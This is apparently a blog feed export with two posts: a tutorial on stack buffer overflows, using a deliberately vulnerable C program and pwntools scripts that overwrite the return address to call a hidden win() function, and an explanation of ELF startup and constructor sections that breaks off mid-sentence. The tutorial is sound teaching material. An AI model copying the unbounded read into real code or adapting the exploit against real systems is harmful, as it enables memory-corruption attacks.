[{"content":"Introduction Buffer overflows are vulnerabilities that result in memory corruption and can be categorized by type, commonly referred to as \u0026ldquo;generation\u0026rdquo;. The two most relevant types today are stack buffer overflows and heap buffer overflows. A buffer overflow occurs when more data is copied into a buffer or array than it can hold.\nAs the name indicates, stack buffer overflows take place in the stack area of a process\u0026rsquo;s memory. The stack is a designated memory region that stores both data and metadata associated with process calls. When more data is placed into a stack buffer than it can accommodate, it may overwrite adjacent stack memory. If a user can control the data and the amount being input, it becomes possible to manipulate the stack\u0026rsquo;s data or metadata, which can ultimately allow for control over the process\u0026rsquo;s execution flow.\nLearn more about the stack Every function that executes within a process has its information represented on the stack. This organization of information is referred to as a stack frame. A stack frame contains the function\u0026rsquo;s data and metadata, as well as a return address, which is used to locate the caller. When a function returns to its caller, the return address is popped from the stack and passed to the instruction pointer.\nIf you can overflow a stack buffer and overwrite the return address with a desired value, you can control the instruction pointer upon the function\u0026rsquo;s return. Additionally, there are other methods to exploit a stack buffer overflow, such as manipulating function pointers, function arguments, or other crucial data and metadata stored on the stack.\nStack Buffer Overflow In this article, we will examine a C program structured as follows:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void vulner_func(); int main() { puts(\u0026#34;Vulnerable func is calling\u0026#34;); vulner_func(); puts(\u0026#34;End of the main.\u0026#34;); } struct m_structure { char user_name[64]; int always_false; char other_data[128]; }; void vulner_func() { struct m_structure p; p.always_false = 0; puts(\u0026#34;Please enter your name?\u0026#34;); read(0, p.user_name, 300); printf(\u0026#34;Hello %s! \\n\u0026#34;, p.user_name); if (p.always_false) { puts(\u0026#34;Always false is true!\u0026#34;); } else { puts(\u0026#34;Always false is false!\u0026#34;); } } void win() { puts(\u0026#34;you won\u0026#34;); } First, the program contains a main function that calls a vulnerable function named vulner_func, and it also displays two messages: one before and one after calling this function. Additionally, there is a structure called m_structure which consists of three members: a character variable with a size of 64 characters, an integer variable that is always initialized to zero (false), and finally, a buffer with a size of 128 characters, which is also of type character.\nThe core of this program is the vulner_func function. At the beginning of this function, there is an instance of the m_structure named p. Through this instance, we access the always_false member and initialize it to 0. This value remains unchanged throughout the code, ensuring that it is always set to zero. The function then prompts the user to enter their name and reads the input using the read function, storing it in the user_name member of the m_structure.\nAfter reading the name, the program greets the user by displaying the name they entered(assuming the user provides their name lol). Before the function returns, it determines whether to display the message \u0026ldquo;Always false is True\u0026rdquo; or \u0026ldquo;Always false is False,\u0026rdquo; based on the value of the always_false member. Since we initialized always_false to zero at the beginning of the program, we should always see the message \u0026ldquo;Always false is False\u0026rdquo; in the output.\nAs you may have noticed, one of the most apparent bugs in this program is in the line where the read function is intended to read up to 300 bytes from the input. However, our buffer size is only 64 bytes. This means that if the user enters more than 64 bytes, we risk writing to memory that we definitely didn\u0026rsquo;t intend to in this program.\nAt the very beginning, we can also identify the second bug in our program:\n└─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ! Always false is true! End of the main. └─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ! Always false is true! End of the main. When we use the read function to take input from the user, it doesn\u0026rsquo;t know that we will receive a string. Instead, it simply captures the input as bytes. As a result, if the user inputs several \u0026lsquo;A\u0026rsquo;s followed by a newline character, that newline will also be included in the output when it is printed with an exclamation mark. This can lead to further issues, especially if the program does not use the appropriate function to handle input correctly. If we provide the right amount of input and run the program multiple times:\n└─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa �! Always false is flase! End of the main. └─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa r! Always false is flase! End of the main. └─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa �! Always false is flase! End of the main. Before the exclamation mark in the output, you may notice that a random value is displayed each time the program is run. But what exactly is this value, and where does it come from?\nThe answer lies in how strings are handled in the C programming language. Strings are required to be null-terminated, meaning they must end with a special null character. The read function, however, does not automatically add this null terminator. As a result, when we display the value of the user_name variable, the output continues until it encounters a null character in memory. This leads to the display of random data that exists in memory, which means we are inadvertently leaking extra information.\nHow to make the program behave differently? What we are trying to accomplish is to get the program to deviate from its normal routine and display unexpected behavior. First, we want to make it show the message \u0026ldquo;always false is true\u0026rdquo; to us. Since we know that the user_name buffer size is 64 bytes (we\u0026rsquo;re somewhat cheating because we have access to the source code, lol), and the always_false variable is located just 1 byte beyond that buffer, we can input 65 bytes and see what happens! (If we didn’t know the buffer size, we could simply guess a large number.)\nTo demonstrate this, I\u0026rsquo;m using Python:\n└─$ python Python 3.12.8 (main, Dec 13 2024, 13:19:48) [GCC 14.2.0] on linux Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; print(65 * \u0026#39;a\u0026#39;) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \u0026gt;\u0026gt;\u0026gt; After preparing the input, we provide it to the program:\n└─$ echo \u0026#34;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026#34; | ./a.out Vulnerable func is calling Please enter your name? Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ! Always false is true! End of the main. As we can see in the output, the program displayed the message \u0026ldquo;always false is true.\u0026rdquo; But what happened here? Because our input of 65 bytes began at the start of the user_name buffer, which is only 64 bytes long, we caused a buffer overflow. The extra byte ended up overwriting the always_false variable. Since any non-zero value is considered true, this change resulted in the condition in the vulner_func function evaluating to true, leading to the output we observed.\nThis example illustrates that we can often identify buffer overflow and memory corruption bugs by injecting a series of bytes into the program and observing if its behavior changes!\nStatic Analysis To achieve a more precise analysis than merely feeding a series of bytes into the program, we can perform static analysis on the binary. One effective approach is to use a decompiler or disassembler, such as IDA, Ghidra, or other similar tools.\nTo accurately determine the buffer size, we need to identify two key values:\nThe memory location where the user input begins. The memory location that we intend to overwrite or corrupt. Once we have both memory addresses, we can subtract them to find the desired value. To illustrate this process using IDA, open the target binary in the program, press F5 to enter decompiler mode, and navigate to the vulner_func function: The output closely resembles the original code but with less detail, as some information is lost due to the binary compilation process, which is normal.\nIn line 8 of the program, we see a call to the read function that receives input from the user. The user input is stored in a variable named buf, which has a size of 64 bytes. Line 3 of the program displays the address of this variable in two ways: one relative to rsp and the other relative to rbp. For this example, I will consider the value relative to rsp.\nThe second value we need is the address we want to corrupt or overwrite. We are aiming to change the value of v2, which is defined in line 4 of the program and whose address is known. By subtracting the two addresses, we can calculate the required value:\n0x40 – 0x0 = 0x40 (or 64 in decimal). To utilize the Disassembler for our analysis, we first need to open the binary using GDB. Remember, since we are conducting static analysis, we cannot execute the binary. Next, we will disassemble the vulner_func:\ngef➤ disassemble vulner_func Dump of assembler code for function vulner_func: 0x000000000000118c \u0026lt;+0\u0026gt;: push rbp 0x000000000000118d \u0026lt;+1\u0026gt;: mov rbp,rsp 0x0000000000001190 \u0026lt;+4\u0026gt;: sub rsp,0xd0 0x0000000000001197 \u0026lt;+11\u0026gt;: mov DWORD PTR [rbp-0x90],0x0 0x00000000000011a1 \u0026lt;+21\u0026gt;: lea rax,[rip+0xe88] # 0x2030 0x00000000000011a8 \u0026lt;+28\u0026gt;: mov rdi,rax 0x00000000000011ab \u0026lt;+31\u0026gt;: call 0x1030 \u0026lt;puts@plt\u0026gt; 0x00000000000011b0 \u0026lt;+36\u0026gt;: lea rax,[rbp-0xd0] 0x00000000000011b7 \u0026lt;+43\u0026gt;: mov edx,0x12c 0x00000000000011bc \u0026lt;+48\u0026gt;: mov rsi,rax 0x00000000000011bf \u0026lt;+51\u0026gt;: mov edi,0x0 0x00000000000011c4 \u0026lt;+56\u0026gt;: call 0x1050 \u0026lt;read@plt\u0026gt; 0x00000000000011c9 \u0026lt;+61\u0026gt;: lea rax,[rbp-0xd0] 0x00000000000011d0 \u0026lt;+68\u0026gt;: mov rsi,rax 0x00000000000011d3 \u0026lt;+71\u0026gt;: lea rax,[rip+0xe6e] # 0x2048 0x00000000000011da \u0026lt;+78\u0026gt;: mov rdi,rax 0x00000000000011dd \u0026lt;+81\u0026gt;: mov eax,0x0 0x00000000000011e2 \u0026lt;+86\u0026gt;: call 0x1040 \u0026lt;printf@plt\u0026gt; 0x00000000000011e7 \u0026lt;+91\u0026gt;: mov eax,DWORD PTR [rbp-0x90] 0x00000000000011ed \u0026lt;+97\u0026gt;: test eax,eax 0x00000000000011ef \u0026lt;+99\u0026gt;: je 0x1202 \u0026lt;vulner_func+118\u0026gt; 0x00000000000011f1 \u0026lt;+101\u0026gt;: lea rax,[rip+0xe5c] # 0x2054 0x00000000000011f8 \u0026lt;+108\u0026gt;: mov rdi,rax 0x00000000000011fb \u0026lt;+111\u0026gt;: call 0x1030 \u0026lt;puts@plt\u0026gt; 0x0000000000001200 \u0026lt;+116\u0026gt;: jmp 0x1211 \u0026lt;vulner_func+133\u0026gt; 0x0000000000001202 \u0026lt;+118\u0026gt;: lea rax,[rip+0xe61] # 0x206a 0x0000000000001209 \u0026lt;+125\u0026gt;: mov rdi,rax 0x000000000000120c \u0026lt;+128\u0026gt;: call 0x1030 \u0026lt;puts@plt\u0026gt; 0x0000000000001211 \u0026lt;+133\u0026gt;: nop 0x0000000000001212 \u0026lt;+134\u0026gt;: leave 0x0000000000001213 \u0026lt;+135\u0026gt;: ret End of assembler dump. When examining the order of the arguments for the read function, we notice that the second buffer is the one of interest. The function is defined as:\nssize_t read(int fd, void buf[.count], size_t count); The address of this buffer can be found on line 36 at rbp-0xd0, which is where user input begins. To identify the second value, we should also look for the location of a comparison followed by a conditional jump. Assembly instructions such as test, cmp, je, and jz indicate these actions.\nOn line 97, we find the comparison where eax is set equal to the address rbp-0x90. By subtracting these two addresses, we calculate:\n0xd0 - 0x90 = 0x40 (or 64 in decimal). Dynamic Analysis The next method we can utilize is Dynamic Analysis. Our strategy remains consistent: first, we identify where user input begins, and then we locate the area we want to overwrite or corrupt.\nTo achieve this, I will use GDB (GNU Debugger) again. Start by setting a breakpoint on the read function with the command b read. Next, run the program.\ngef➤ b read Breakpoint 1 at 0x1050 gef➤ r After hitting the breakpoint, execute the finish command to exit the read function:\n0x5555555551bc \u0026lt;vulner_func+0030\u0026gt; mov rsi, rax 0x5555555551bf \u0026lt;vulner_func+0033\u0026gt; mov edi, 0x0 0x5555555551c4 \u0026lt;vulner_func+0038\u0026gt; call 0x555555555050 \u0026lt;read@plt\u0026gt; → 0x5555555551c9 \u0026lt;vulner_func+003d\u0026gt; lea rax, [rbp-0xd0] 0x5555555551d0 \u0026lt;vulner_func+0044\u0026gt; mov rsi, rax 0x5555555551d3 \u0026lt;vulner_func+0047\u0026gt; lea rax, [rip+0xe6e] # 0x555555556048 0x5555555551da \u0026lt;vulner_func+004e\u0026gt; mov rdi, rax 0x5555555551dd \u0026lt;vulner_func+0051\u0026gt; mov eax, 0x0 0x5555555551e2 \u0026lt;vulner_func+0056\u0026gt; call 0x555555555040 \u0026lt;printf@plt\u0026gt; As we discovered during static analysis, the second parameter of the read function is transferred to the rsi register, so we will print the value of rsi:\ngef➤ p $rsi $2 = 0x7fffffffdc10 The value we obtain will indicate the address where the user input starts. To confirm that user input is stored in rsi, you can pass a parameter when running the binary in GDB and then check the contents of this register.\nrun parameter1 parameter2 ,... x/s $rsi (or x/20gx $rsi) Next, to find the location we want to overwrite or corrupt, we can print the contents of rbp - 0x90.\n0x00005555555551c4 \u0026lt;+56\u0026gt;: call 0x555555555050 \u0026lt;read@plt\u0026gt; =\u0026gt; 0x00005555555551c9 \u0026lt;+61\u0026gt;: lea rax,[rbp-0xd0] 0x00005555555551d0 \u0026lt;+68\u0026gt;: mov rsi,rax 0x00005555555551d3 \u0026lt;+71\u0026gt;: lea rax,[rip+0xe6e] # 0x555555556048 0x00005555555551da \u0026lt;+78\u0026gt;: mov rdi,rax 0x00005555555551dd \u0026lt;+81\u0026gt;: mov eax,0x0 0x00005555555551e2 \u0026lt;+86\u0026gt;: call 0x555555555040 \u0026lt;printf@plt\u0026gt; 0x00005555555551e7 \u0026lt;+91\u0026gt;: mov eax,DWORD PTR [rbp-0x90] 0x00005555555551ed \u0026lt;+97\u0026gt;: test eax,eax 0x00005555555551ef \u0026lt;+99\u0026gt;: je 0x555555555202 \u0026lt;vulner_func+118\u0026gt; gef➤ p $rbp - 0x90 $3 = (void *) 0x7fffffffdc50 The address obtained will be the location that we are targeting for corruption. Finally, by subtracting these two addresses, we can find the final value:\n0x7fffffffdc50 - 0x7fffffffdc10 = 0x40. The key difference in this approach is that we are working with actual memory addresses.\nExploiting Vulnerability We are going to use the cyclic module from Python\u0026rsquo;s pwn library to find the exact location of the return address in memory. This will help us determine how many bytes we need to write to reach that location. Instead of using a series of \u0026lsquo;A\u0026rsquo;s, we will use the cyclic function to generate a string of 300 characters of cyclic values (a larger number). Since we know the program will crash, we will set our breakpoint(A cyclic value is a string in which any 4-byte substring uniquely identifies its index.).\nfrom pwn import * context.arch = \u0026#39;amd64\u0026#39; p = gdb.debug(\u0026#34;./challenge\u0026#34;,\u0026#34;\u0026#34;\u0026#34; b read c \u0026#34;\u0026#34;\u0026#34;) p.send(cyclic(300)) p.interactive() When we run this payload, the program crashes due to a segmentation fault. This happens because the user_name, always_false, other_data, and the return address are all overwritten with our cyclic value, which is not a valid address. This is where the fun begins; once we overwrite the saved return address, we can take control of the program! Now, let\u0026rsquo;s discuss the purpose of the cyclic value in crafting our exploit. Referring to the image above—showing the stack output when the ret command is executed—you can see the four bytes eaac. We can input these four bytes into the cyclic_find function, and the output will provide valuable information.\n└─$ python Python 3.12.8 (main, Dec 13 2024, 13:19:48) [GCC 14.2.0] on linux Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; from pwn import * \u0026gt;\u0026gt;\u0026gt; cyclic_find(\u0026#34;eaac\u0026#34;) 216 \u0026gt;\u0026gt;\u0026gt; Using the cyclic value, we discover that there are exactly 216 bytes before our return address. Now, let\u0026rsquo;s send exactly 216 bytes to the program and see what happens:\nfrom pwn import * context.arch = \u0026#39;amd64\u0026#39; p = gdb.debug(\u0026#34;./challenge\u0026#34;,\u0026#34;\u0026#34;\u0026#34; b read c \u0026#34;\u0026#34;\u0026#34;) p.send(b\u0026#39;A\u0026#39; * 216) p.interactive() In the image below, you can observe that our \u0026lsquo;A\u0026rsquo;s have filled up to the return address. After the vunler_func function is executed, the program returns to the point in the main function from which it was called, and execution continues from there. But what if we want to avoid returning to this function? What if we want to overwrite the return address and execute something outside the intended flow of the program?\nTo demonstrate this, we can use GDB to find the address of the win function, which, as we recall, was never called in the program:\n(remote) gef➤ p win $2 = {\u0026lt;text variable, no debug info\u0026gt;} 0x401201 \u0026lt;win\u0026gt; (remote) gef➤ For this introductory tutorial, both ASLR (Address Space Layout Randomization) and PIE (Position Independent Executable) are disabled.\ngcc -fno-stack-protector -no-pie Next, we can use the address of the win function along with a series of 216 \u0026lsquo;A\u0026rsquo; characters to provide input to the program:\nfrom pwn import * context.arch = \u0026#39;amd64\u0026#39; p = gdb.debug(\u0026#34;./challenge\u0026#34;,\u0026#34;\u0026#34;\u0026#34; b read c \u0026#34;\u0026#34;\u0026#34;) p.send(b\u0026#39;A\u0026#39; * 216 + p64(0x401201)) p.interactive() After doing this, if we check the return address, we can see that it has now been altered to the address of the win function—a function that hasn’t been called anywhere in this binary. Now, if we continue running the program, we can see that the win function executes, displaying the message \u0026ldquo;You won!\u0026rdquo; in the output. Conclusion In conclusion, we successfully modified the return address of the binary. However, it’s important to note that this was done in a controlled environment without security mechanisms. In modern systems, protections like ASLR and PIE are in place to prevent such vulnerabilities from being exploited easily.\n","permalink":"https://bitinfiltrator.pages.dev/posts/overflowbuginc/","section":"posts","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eBuffer overflows are vulnerabilities that result in memory corruption and can be categorized by type, commonly referred to as \u0026ldquo;generation\u0026rdquo;. The two most relevant types today are stack buffer overflows and heap buffer overflows. A buffer overflow occurs when more data is copied into a buffer or array than it can hold.\u003c/p\u003e\n\u003cp\u003eAs the name indicates, stack buffer overflows take place in the stack area of a process\u0026rsquo;s memory. The stack is a designated memory region that stores both data and metadata associated with process calls. When more data is placed into a stack buffer than it can accommodate, it may overwrite adjacent stack memory. If a user can control the data and the amount being input, it becomes possible to manipulate the stack\u0026rsquo;s data or metadata, which can ultimately allow for control over the process\u0026rsquo;s execution flow.\u003c/p\u003e","title":"A Detailed Overview of Stack Buffer Overflow and Its Exploitation"},{"content":"Introduction For most programmers, the entry point of a C or C++ program is the main function. However, they may be unaware of the complex steps that occur before main is executed. Depending on the program and the compiler used, various functions may run before main. These functions are automatically included in the final executable binary by the compiler and linker, but they remain hidden from the programmer.\nThis post discusses the execution process and events from _start to the main function, with future posts covering the next steps.\nBefore we dive into the main part, you must have some basic knowledge about constructor and destructors.\nHow does GCC handle constructor and destructor functions? In C++, dynamic initialization of non-local variables is performed before the first main function statement is executed. In other words, these variables are initialized before the main program starts running. All (or most) C++ compiler implementations guarantee this.\nThe GCC compiler supports __attribute__((constructor)), which allows you to call an arbitrary function before the main function is executed. These functions, called constructors, can have an optional precedence specified using __attribute__((constructor(N))).\nPriorities ranging from 0 to 100 are reserved for internal compiler use, and utilizing them will trigger the -Wprio-ctor-dtor warning. For instance, the gcov tool uses the attribute __attribute__((destructor(100))). Programmers can use priorities from 101 to 65535 for their constructor functions. The priority 65535, specified by the .init_array or .ctors sections without an extension, is the default priority for the dynamic initialization of non-local variables.\n#include \u0026lt;stdio.h\u0026gt; __attribute__((constructor(102))) void init102() { puts(\u0026#34;init102\u0026#34;); } __attribute__((constructor(101))) void init101() { puts(\u0026#34;init101\u0026#34;); } __attribute__((constructor)) void init() { puts(\u0026#34;init65535\u0026#34;); } int main(void) { return 0; } Constructor functions on ELF platforms are implemented in two ways: the older method uses .init/.ctors, while the newer method utilizes .init_array.\n.ctors and .dtors Sections In GCC\u0026rsquo;s libgcc/crtstuff.c, when __LIBGCC_INIT_ARRAY_SECTION_ASM_OP__ is not defined and __LIBGCC_INIT_SECTION_ASM_OP__ is defined (indicating that HAVE_INITFINI_ARRAY_SUPPORT is 1 in $builddir/gcc/auto-host.h), the following scheme is used. Note that this condition is not met on modern systems.\nC++ dynamic initializations and __attribute__((constructor)) do not use _init directly.When this condition is met, global constructors and destructors are stored in sections known as .ctors and .dtors, respectively. These sections contain the addresses of these functions, and at runtime, the operating system retrieves these addresses and executes the functions in the specified order. In essence, these sections act as a list of functions that must be called before and after the main program begins execution.\nImagine we have two object files named c.o and d.o, each containing a .ctors section with different priorities. After linking these files, the resulting .ctors section will be organized as follows:\ncrtbegin.o:(.ctors) __CTOR_LIST__ c.o:(.ctors) d.o:(.ctors) c.o:(.ctors.00001) d.o:(.ctors.00001) c.o:(.ctors.00002) d.o:(.ctors.00002) ... c.o:(.ctors.65533) d.o:(.ctors.65533) c.o:(.ctors.65534) d.o:(.ctors.65534) ... crtend.o:(.ctors) __CTOR_LIST_END__ The .dtors section is organized in the same manner:\ncrtbegin.o:(.dtors) __DTOR_LIST__ c.o:(.dtors) d.o:(.dtors) c.o:(.dtors.00001) d.o:(.dtors.00001) c.o:(.dtors.00002) d.o:(.dtors.00002) ... c.o:(.dtors.65533) d.o:(.dtors.65533) c.o:(.dtors.65534) d.o:(.dtors.65534) ... crtend.o:(.dtors) __DTOR_LIST_END__ The crtbegin.o and crtend.o files play a crucial role in the initialization and termination processes of a program. These files contain specific functions and data that the linker includes in the final executable file.\nThe crtbegin.o file:\nAt the beginning of each .ctors and .dtors section, it places a special value known as the guard element. This value is typically -1 (or its equivalent on 64-bit systems, 0xffffffffffffffff) and indicates the start of the list of constructors or destructors. The crtbegin.o file also defines a .fini section that calls the __do_global_dtors_aux function. This function is responsible for executing static destructors (functions that free resources) in the correct order. The crtend.o file:\nAt the end of each .ctors and .dtors section, it places a special value called the guard element. This value is usually 0, which signifies the end of the constructor or destructor list. The crtend.o file also defines an .init section that calls the __do_global_ctors_aux function. This function is responsible for executing static constructors (functions that initialize variables and objects) in the correct order. The guard elements (-1 and 0) serve as markers to help the linker and operating system identify the beginning and end of the lists of constructors and destructors, respectively. These elements are ignored when the functions are executed.\nReverse Execution Order of Constructors and Destructors One interesting feature of constructor and destructor execution is their reverse order of execution. Specifically, constructors located in the .ctors section are executed in reverse order, while destructors in the .dtors section are executed in the order in which they were defined.\nWhy Are Constructors Executed in Reverse Order? This behavior is by design. When dynamically linking libraries, if one library depends on another, the constructors of the dependent library are executed first. For example, if library a.so depends on library b.so, the constructors of b.so are executed before those of a.so. This sequence ensures that each symbol is properly initialized before being used.\nFor .ctors sections without an extension (which have the lowest precedence), the order of constructor execution during dynamic linking follows the same pattern as in static linking. This means that when multiple object files are linked together into an executable, the constructors are executed in the order they appear on the command line.\nDestructors serve as a complement to constructors, executing in the order of their creation. This ensures that resources are properly deallocated in the reverse order of how they were allocated.\nWhy Is This Order Important? It ensures that each symbol is initialized before use. It maintains consistent behavior between dynamic and static linking. It guarantees the correct deallocation of resources. .init_array and .fini_array Sections The developers of HP-UX identified several issues with the use of the .init and .ctors sections:\nThe _init function is fragmented and inconsistent, resulting in code that is difficult to read and prone to errors. Using sentinel values in the .ctors section is considered poor practice. The .init and .ctors sections utilize unconventional naming instead of the defined section types. To address these issues, the DT_INIT_ARRAY mechanism was introduced as an alternative. While glibc implemented this method in 1999, both GCC and Binutils had outdated implementations at that time.\nSupport for DT_INIT_ARRAY was added to FreeBSD in March 2012, to OpenBSD in August 2016, and to all ports of NetBSD in December 2018.\nIn the glibc and BSD implementations, the constructors are invoked with argc, argv, and environ arguments. In contrast, the musl implementation calls constructors without any arguments.\nIn this context, the .init_array and .init_array.N sections are designated as type SHT_INIT_ARRAY. Note that crtbegin.o and crtend.o do not provide any segments.\nThe layout is as follows:\na.o:(.init_array.1) b.o:(.init_array.1) a.o:(.init_array.2) b.o:(.init_array.2) ... a.o:(.init_array.65533) b.o:(.init_array.65533) a.o:(.init_array.65534) b.o:(.init_array.65534) a.o:(.init_array) b.o:(.init_array) The linker defines DT_INIT_ARRAY and DT_INIT_ARRAYSZ based on the address and size of init_array. It also defines init_array_start and init_array_end if they are referenced. These pair of symbols can be used by a statically linked, position-dependent executable that may not include a .dynamic section.\nUnlike .ctors, the execution order of .init_array is linear, following .init. Specifically, the order of execution for a.o:(.init_array) b.o:(.init_array) is different from a.o:(.ctors) b.o:(.ctors).\nIn the GCC compiler, newer ABI implementations, such as AArch64 and RISC-V, exclusively use .init_array and do not include .ctors.\n.preinit_array The linker determines the values of DT_PREINIT_ARRAY and DT_PREINIT_ARRAYSZ based on the address and size of the .preinit_array section. It also defines the symbols __preinit_array_start and __preinit_array_end if they are referenced.\nDT_PREINIT_ARRAY contains the address of an array of pointers to pre-initialization functions. The DT_PREINIT_ARRAY table is processed only in executable files and is ignored in shared objects. This feature allows the executable file to run initialization functions before any shared object dependencies are processed. There is no .postfini_array.\nMost implementations of ld.so support DT_PREINIT_ARRAY; however, musl does not support this feature.\nWhat is happening behind the scene? Let\u0026rsquo;s review the previously written program. This program contains three functions that execute before the main execution and display the corresponding messages. Additionally, the main function in this program does nothing but return 0.\n#include \u0026lt;stdio.h\u0026gt; __attribute__((constructor(102))) void init102() { puts(\u0026#34;init102\u0026#34;); } __attribute__((constructor(101))) void init101() { puts(\u0026#34;init101\u0026#34;); } __attribute__((constructor)) void init() { puts(\u0026#34;init65535\u0026#34;); } int main(void) { return 0; } To include debug information for analysis in our program, we must compile it using the -ggdb switch of the gcc compiler. You can achieve this with the following command:\ngcc -ggdb -o ELF2 ELF_008.c What is the difference between the -g and -ggdb switches?\nThe -g switch instructs the compiler to generate debugging information in standard operating system formats such as stabs, COFF, XCOFF, or DWARF. This information helps debugging tools like GDB to better understand and debug the program.\nThe -ggdb switch produces a more comprehensive level of debugging information specifically designed for GDB. This allows GDB to extract additional information about the program, enabling more detailed debugging.\nBefore we debug the program in gdb, let\u0026rsquo;s first examine how a C program is executed from the beginning. We can use the objdump tool to convert machine code into assembly code. The following command saves the disassembly output of an ELF2 program to a file named ELF2.dump:\nobjdump -d ELF2 \u0026gt; ELF2.dump The file named prog1.dump contains assembly instructions that the processor executes directly. Here is a brief overview of the functions that we will review shortly:\nELF2: file format elf64-x86-64 0000000000001050 \u0026lt;_start\u0026gt;: 1050:\t31 ed xor %ebp,%ebp 1052:\t49 89 d1 mov %rdx,%r9 1055:\t5e pop %rsi 1056:\t48 89 e2 mov %rsp,%rdx 1059:\t48 83 e4 f0 and $0xfffffffffffffff0,%rsp 105d:\t50 push %rax 105e:\t54 push %rsp 105f:\t45 31 c0 xor %r8d,%r8d 1062:\t31 c9 xor %ecx,%ecx 1064:\t48 8d 3d 10 01 00 00 lea 0x110(%rip),%rdi # 117b \u0026lt;main\u0026gt; 106b:\tff 15 4f 2f 00 00 call *0x2f4f(%rip) # 3fc0 \u0026lt;__libc_start_main@GLIBC_2.34\u0026gt; 1071:\tf4 hlt 1072:\t66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 1079:\t00 00 00 107c:\t0f 1f 40 00 nopl 0x0(%rax) 0000000000001139 \u0026lt;init102\u0026gt;: 1139:\t55 push %rbp 113a:\t48 89 e5 mov %rsp,%rbp 113d:\t48 8d 05 c0 0e 00 00 lea 0xec0(%rip),%rax # 2004 \u0026lt;_IO_stdin_used+0x4\u0026gt; 1144:\t48 89 c7 mov %rax,%rdi 1147:\te8 e4 fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 114c:\t90 nop 114d:\t5d pop %rbp 114e:\tc3 ret 000000000000114f \u0026lt;init101\u0026gt;: 114f:\t55 push %rbp 1150:\t48 89 e5 mov %rsp,%rbp 1153:\t48 8d 05 b2 0e 00 00 lea 0xeb2(%rip),%rax # 200c \u0026lt;_IO_stdin_used+0xc\u0026gt; 115a:\t48 89 c7 mov %rax,%rdi 115d:\te8 ce fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 1162:\t90 nop 1163:\t5d pop %rbp 1164:\tc3 ret 0000000000001165 \u0026lt;init\u0026gt;: 1165:\t55 push %rbp 1166:\t48 89 e5 mov %rsp,%rbp 1169:\t48 8d 05 a4 0e 00 00 lea 0xea4(%rip),%rax # 2014 \u0026lt;_IO_stdin_used+0x14\u0026gt; 1170:\t48 89 c7 mov %rax,%rdi 1173:\te8 b8 fe ff ff call 1030 \u0026lt;puts@plt\u0026gt; 1178:\t90 nop 1179:\t5d pop %rbp 117a:\tc3 ret 000000000000117b \u0026lt;main\u0026gt;: 117b:\t55 push %rbp 117c:\t48 89 e5 mov %rsp,%rbp 117f:\tb8 00 00 00 00 mov $0x0,%eax 1184:\t5d pop %rbp 1185:\tc3 ret ... The _start Function: The Hidden Beginning of a Program In most C and C++ programs, the actual starting point of execution is a function called _start. This function is responsible for setting up the program\u0026rsquo;s execution environment and for calling the main function, which serves as the logical starting point for the programmer.\nWhile it is a common convention to use _start as the main entry point, it is not a strict requirement. Depending on the operating system, compiler, and libraries utilized, a different entry point may be specified. For instance, on macOS, the main function itself serves as the entry point, with the operating system taking care of preparing the execution environment.\nThe linker plays a crucial role in determining a program\u0026rsquo;s entry point. By default, linkers such as Clang and GCC set the entry point to the _start function. However, this can be altered using the -e switch, although such changes are typically unnecessary.\nThe _start function is usually implemented and provided in the C standard library (libc) and is often written in assembly language. This code is found in a file named crt0.s, and compilers generally provide precompiled versions of this file for various architectures.\nHow do we get to _start? When you run a Linux program, the shell or graphical user interface (GUI) calls the execve() function, which executes the Linux execve() system call.\nint execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]); The execve function replaces the currently running program with the program specified by the pathname. The current program is the process that invoked the execve system call, which in this case is the shell or GUI. In other words, the new program takes the place of the previous one, creating a new memory space for itself, which includes a stack, heap, and data sections (both initialized and uninitialized).\nThe pathname must be an executable binary file or a script that begins with a line in the following format:\n#!interpreter [optional-arg] The argv variable is an array containing the arguments provided on the command line when running the program. Each element of this array is a string representing an argument. For instance, if we run a program called myprogram with the arguments -a and data.txt, the argv array will look like this:\nargv[0] = 